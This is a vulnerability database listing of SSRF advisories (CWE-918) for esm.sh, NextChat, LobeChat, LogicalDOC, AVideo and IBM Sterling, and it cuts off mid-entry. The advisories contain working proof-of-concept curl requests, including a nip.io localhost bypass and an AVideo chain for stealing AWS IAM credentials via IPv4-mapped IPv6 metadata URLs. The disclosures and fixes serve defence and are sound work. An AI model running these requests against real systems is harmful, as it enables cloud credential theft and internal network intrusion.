CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4719 vulnerabilities reference this CWE, most recent first.
GHSA-P2V6-84H2-5X4R
Vulnerability from github – Published: 2026-02-25 22:57 – Updated: 2026-03-02 16:40Summary
An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).
Details
The vulnerable flow starts at the route handling user-controlled remote URLs:
server/router.go:532-
Accepts paths beginning with
/http://or/https://. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()// disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }
The internal-target block is string-based:
- `server/router.go:545`
```go
// disallow localhost or ip address for production
if !DEBUG {
hostname := modUrl.Hostname()
if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
ctx.SetHeader("Cache-Control", ccImmutable)
return rex.Status(400, "Invalid URL")
}
}
Localhost detection itself is limited to hostname patterns:
server/utils.go:72isLocalhost(...)checks values likelocalhost,127.0.0.1, and192.168.*.- It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}
Fetch proceeds with host-string allowlisting:
server/router.go:595-596allowedHosts[modUrl.Host] = struct{}{}thenfetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
internal/fetch/fetch.go:49- Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
if c.allowedHosts != nil {
if _, ok := c.allowedHosts[url.Host]; !ok {
return nil, errors.New("host not allowed: " + url.Host)
}
}
if c.userAgent != "" {
if header == nil {
header = make(http.Header)
}
header.Set("User-Agent", c.userAgent)
}
// ...
return c.Do(req)
}
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
PoC
Reproduction tested on local Docker deployment.
- Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
- Run an internal localhost-only test service (
secretresponse) in the same network namespace: - Internal network test server code (app.py):
from flask import Flask, Response
@app.get('/secret.js')
def secret_js():
return Response('secret;\n', mimetype='application/javascript')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
Run the internal Python server container (same network namespace as esmsh-5558):
docker run -d --name internal-5555 --network container:esmsh-5558 \
-v "<YOUR_PATH>/flask-internal:/app" -w /app \
python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
- Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
- Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"
127.0.0.1 is blocked,
but 127.0.0.1.nip.io bypasses the filter.
This confirms external requesters can fetch internal localhost service content through esm.sh.
Impact
This is a Server-Side Request Forgery vulnerability (CWE-918).
Impacted:
- Any esm.sh deployment exposing the /http(s) route to untrusted users.
- Environments where internal services are reachable from the esm.sh server/container network.
Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250616164159-0593516c4cfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27730"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T22:57:59Z",
"nvd_published_at": "2026-02-25T16:23:27Z",
"severity": "HIGH"
},
"details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh\u2019s `/http(s)` fetch route. \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). \nThis allows an external requester to make the esm.sh server fetch internal localhost services. \nSeverity: High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get(\u0027/secret.js\u0027)\ndef secret_js():\n return Response(\u0027secret;\\n\u0027, mimetype=\u0027application/javascript\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
"id": "GHSA-p2v6-84h2-5x4r",
"modified": "2026-03-02T16:40:47Z",
"published": "2026-02-25T22:57:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/pull/1149"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
}
GHSA-P35R-JG68-WCCX
Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-04-28 00:31A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7178"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-27T22:16:19Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in ChatGPTNextWeb NextChat up to 2.16.1. This affects the function storeUrl of the file app/api/artifacts/route.ts of the component Artifacts Endpoint. This manipulation of the argument ID causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-p35r-jg68-wccx",
"modified": "2026-04-28T00:31:40Z",
"published": "2026-04-28T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7178"
},
{
"type": "WEB",
"url": "https://github.com/ChatGPTNextWeb/NextChat/issues/6741"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/43252d45d75e8bdd2d45136fd6ffe8a5"
},
{
"type": "WEB",
"url": "https://github.com/ChatGPTNextWeb/NextChat"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/797646"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359780"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359780/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P36R-QXGX-JQ2V
Vulnerability from github – Published: 2024-06-17 22:28 – Updated: 2024-06-17 22:28Summary
If an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.
Details
The attack process is described above.
PoC
Frontend: 1. Pass basic authentication (SSO/Access Code). 2. Set the Base URL to a private attack address. 3. Configure the request method to be a server-side request. 4. At the self-set attack address, retrieve the API Key information from the request headers.
Backend: 1. The LobeChat version allows setting the Base URL. 2. There is no outbound traffic whitelist.
Impact
All community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lobehub/chat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.162.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37895"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-17T22:28:41Z",
"nvd_published_at": "2024-06-17T20:15:13Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nIf an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request.\n\n### Details\n\nThe attack process is described above.\n\n\n\n### PoC\n\nFrontend:\n1. Pass basic authentication (SSO/Access Code).\n2. Set the Base URL to a private attack address.\n3. Configure the request method to be a server-side request.\n4. At the self-set attack address, retrieve the API Key information from the request headers.\n\nBackend:\n1. The LobeChat version allows setting the Base URL.\n2. There is no outbound traffic whitelist.\n\n### Impact\n\nAll community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.",
"id": "GHSA-p36r-qxgx-jq2v",
"modified": "2024-06-17T22:28:41Z",
"published": "2024-06-17T22:28:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-p36r-qxgx-jq2v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37895"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobe-chat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lobe Chat API Key Leak"
}
GHSA-P38P-XRW4-9MJ3
Vulnerability from github – Published: 2026-07-13 21:31 – Updated: 2026-07-13 21:31LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.
{
"affected": [],
"aliases": [
"CVE-2025-45869"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T19:16:36Z",
"severity": "HIGH"
},
"details": "LogicalDOC Enterprise Version up to and before v9.1.1 is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to trigger a server-side request to an attacker-controlled host.",
"id": "GHSA-p38p-xrw4-9mj3",
"modified": "2026-07-13T21:31:24Z",
"published": "2026-07-13T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45869"
},
{
"type": "WEB",
"url": "https://github.com/netero1010/Vulnerability-Disclosure/blob/main/CVE-2025-45869/README.md"
},
{
"type": "WEB",
"url": "https://www.logicaldoc.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P3GR-G84W-G8HH
Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49Summary
The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.
Details
The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:
- IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (
/^10\./,/^172\./,/^192\.168\./,/^127\./,/^169\.254\./) - IPv6 checks (lines 4150-4166): Checks for
::1,fe80::/10(link-local), andfc00::/7(unique local)
The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:
// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"
// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
$resolvedIP = gethostbyname($host); // SKIPPED
}
$ip = $host; // $ip = "::ffff:169.254.169.254"
// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH
// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...) // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH
// Line 4168: returns TRUE — bypass complete
return true;
The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
After the bypass, two requests are made to the attacker-controlled URL:
1. get_headers() at line 40 (via stream context)
2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)
PoC
Read AWS instance metadata (IAM credentials):
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
Access localhost services:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
Scan internal network:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
Steal AWS IAM role credentials (full chain):
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
Impact
- Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
- Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
- Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
- No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.
Recommended Fix
Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:
// In isSSRFSafeURL(), replace lines 4099-4166 with:
// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
_error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
return false;
}
This single check replaces all the manual regex patterns and correctly handles:
- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)
- Loopback (127/8, ::1)
- Link-local (169.254/16, fe80::/10)
- Unique local (fc00::/7)
- IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding
- Other reserved ranges (0/8, 100.64/10 CGN, etc.)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33480"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:44:10Z",
"nvd_published_at": "2026-03-23T15:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n $resolvedIP = gethostbyname($host); // SKIPPED\n}\n$ip = $host; // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON\u0027T match (not dotted-decimal)\nif (preg_match(\u0027/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/\u0027, $ip)) // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don\u0027t cover ::ffff: prefix\nif ($ip === \u0027::1\u0027 || ...) // NO MATCH\nif (preg_match(\u0027/^fe[89ab][0-9a-f]:/i\u0027, $ip)) // NO MATCH\nif (preg_match(\u0027/^f[cd][0-9a-f]{2}:/i\u0027, $ip)) // NO MATCH\n\n// Line 4168: returns TRUE \u2014 bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) \u2014 response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/\u0027\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/\u0027\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/\u0027\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u0027)\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP\u0027s built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** \u2014 the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)",
"id": "GHSA-p3gr-g84w-g8hh",
"modified": "2026-03-25T18:49:36Z",
"published": "2026-03-20T20:44:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33480"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy"
}
GHSA-P3QC-MH98-4VQ5
Vulnerability from github – Published: 2022-07-20 00:00 – Updated: 2022-07-28 00:00IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.
{
"affected": [],
"aliases": [
"CVE-2022-22416"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-19T17:15:00Z",
"severity": "MODERATE"
},
